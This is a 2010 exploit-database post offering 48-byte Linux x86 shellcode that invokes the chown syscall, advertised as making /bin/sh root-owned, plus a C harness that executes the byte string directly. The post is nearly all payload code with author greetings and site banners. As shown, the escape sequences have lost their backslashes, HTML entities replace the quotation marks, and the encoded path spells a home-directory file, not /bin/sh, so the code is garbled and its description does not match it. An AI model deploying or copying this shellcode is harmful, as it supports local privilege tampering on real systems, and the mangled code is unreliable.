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linux/x86 chown root:root /bin/sh shellcode 48 bytes

Posted on 05 June 2010

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linux/x86 chown root:root /bin/sh shellcode 48 bytes
====================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 48 bytes chown root:root /bin/sh x86 linux shellcode
Date   : Sat Jun  5 15:32:40 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include &lt;stdio.h&gt;

char *shellcode=
		&quot;xebx13&quot;                    /* jmp    0x8048075 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0xb6&quot;                    /* mov    $0xb6,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x31xc9&quot;                    /* xor    %ecx,%ecx */
		&quot;x31xd2&quot;                    /* xor    %edx,%edx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x01&quot;                    /* mov    $0x1,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xe8xffxffxff&quot;        /* call   0x8048062 */
		&quot;x2f&quot;                        /* das     */
		&quot;x68x6fx6dx65x2f&quot;        /* push   $0x2f656d6f */
		&quot;x67x75x6e&quot;                /* addr16 jne 0x80480f1 */
		&quot;x73x6c&quot;                    /* jae    0x80480f1 */
		&quot;x69x6ex67x65x72x2fx73&quot;/* imul   $0x732f7265,0x67(%esi),%ebp */
		&quot;x68&quot;                        /* .byte 0x68 */
		&quot;x65&quot;                        /* gs */
		&quot;x6c&quot;                        /* insb   (%dx),%es		&quot;(%edi) */
		&quot;x6c&quot;;                       /* insb   (%dx),%es		&quot;(%edi) */

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}


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